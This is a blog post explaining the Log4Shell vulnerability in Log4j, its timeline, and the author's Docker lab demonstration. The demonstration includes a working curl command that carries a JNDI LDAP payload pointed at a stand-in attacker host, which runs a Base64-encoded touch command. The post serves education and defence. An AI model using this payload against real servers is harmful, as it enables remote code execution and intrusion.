Log4Shell – The Newest Vulnerability

Introduction

On Thursday, December 9th, the vulnerability CVE-2021-44228 known as “Log4shell” was made public, sending large companies such as Twitter, Amazon, Google, Cloudflare, and many others in a rush to patch it before any damage could be done. Not only are large companies affected, but many applications and servers utilizing the popular Java library, Log4j, are also affected. Due to the severity of this vulnerability and the widespread use of Log4j, it is considered to be one of the worst exploits in recent years.¹ It received a CVSS score of 10, the highest possible severity rating.²

What is Log4j?

For those unfamiliar with Log4j, it is a popular and widely used open-source logging framework for Java to log error messages. It is utilized by thousands of applications and servers ranging from Apple, Amazon, Google to online game platforms such as Steam and even video games such as Minecraft. Because of the easy-to-use and easy to configure nature of Log4j, it has been adopted worldwide.^{3 4}

What is Log4shell?

Log4shell is a critical zero-day vulnerability in Log4J, allowing remote code execution. This means that a threat actor can run arbitrary code on the remote system to perform any number of malicious actions such as installing remote software, stealing files, getting user credentials, or even gaining root access (complete control) of the server. This vulnerability leaves an almost unlimited amount of malicious possibilities for attackers to exploit and can cause severe damage to businesses and individuals. ^{5 6 7}

Log4shell was first discovered in the popular video game Minecraft Java Edition, but it was quickly realized that this vulnerability could be used in a wide variety of other applications. Although it was publicly revealed on December 9th, there is evidence of use since December 1st. “Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.” – stated by Matthew Prince, the CEO of Cloudflare on Twitter. ⁸

The Log4shell vulnerability originated in Log4j from a plugin called JNDI (Java naming and Directory Interface) which was added back in 2013. This plugin added the ability to obtain naming and directory services from LDAP (Lightweight Directory Access Protocol), DNS (Domain Name Service), and other providers. ^{9 10}

My journey with Log4shell

The scope of what Log4shell is capable of is terrifying, but what I found even more alarming was the simplicity of both the setup and use of the exploit. As part of my task, I set up a proof of concept demo to understand and show this new exploit. Using an application with the vulnerability and a modified LDAP server then issuing a simple one-line curl command, I was able to execute arbitrary code on the remote server to create a file. The demo I created utilizes Docker containers and automates the entire process of setting up everything required and executing the vulnerability.

The demo includes emulating the victim, which runs Spring Boot, an application using a copy of the Log4J logger that is vulnerable to Log4shell. Next was setting up the attacker’s modified LDAP server, which would send the malicious payload to the victim. Finally, setting up the client of the attacker, a simple curl command which had the vulnerability in it would be issued

The command used:

curl -s victim:8080 -H ‘X-Api-Version: ${jndi:ldap://attacker-ldap:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9pd29ya2VkCg==}’

At the end, a Base64 string was used, decoded it is “touch /tmp/iworked”. This is a command to create a file called iworked in the tmp directory. Once that curl command was issued, the victim machine’s JNDI server would accept the payload (the touch command) from the LDAP server. Once received, the victim machine executed the remote command, and the iworked file was created. To verify the results, I connected to the victim container and took a look at the files in the tmp folder. There it was; the maliciously created iworked file was in plain view. The Log4shell exploit was successful.

If I was a malicious actor performing this exploit on a business’s server, I could have easily done damage. I could have run any number of commands remotely to the victim’s system.

You can run this demo yourself by following the instructions at this git repository: https://github.com/obscuritylabs/log4shell-poc-lab

Moving forward

At this current time, there are still hundreds, if not thousands, of constant scans from malicious entities searching for any system vulnerable to Log4shell. This is an issue that should not be ignored or taken lightly. For example, there are reports of the vulnerability being used to run crypto mining software, known as cryptojacking, as well as data theft and even used to deploy DDOS (Denial-of-service) attacks.¹¹ It is essential to test for this vulnerability and do everything possible to mitigate it, which includes updating services and applications that utilize Log4J. This is an exploit that will continue to haunt the internet for years. ¹²

References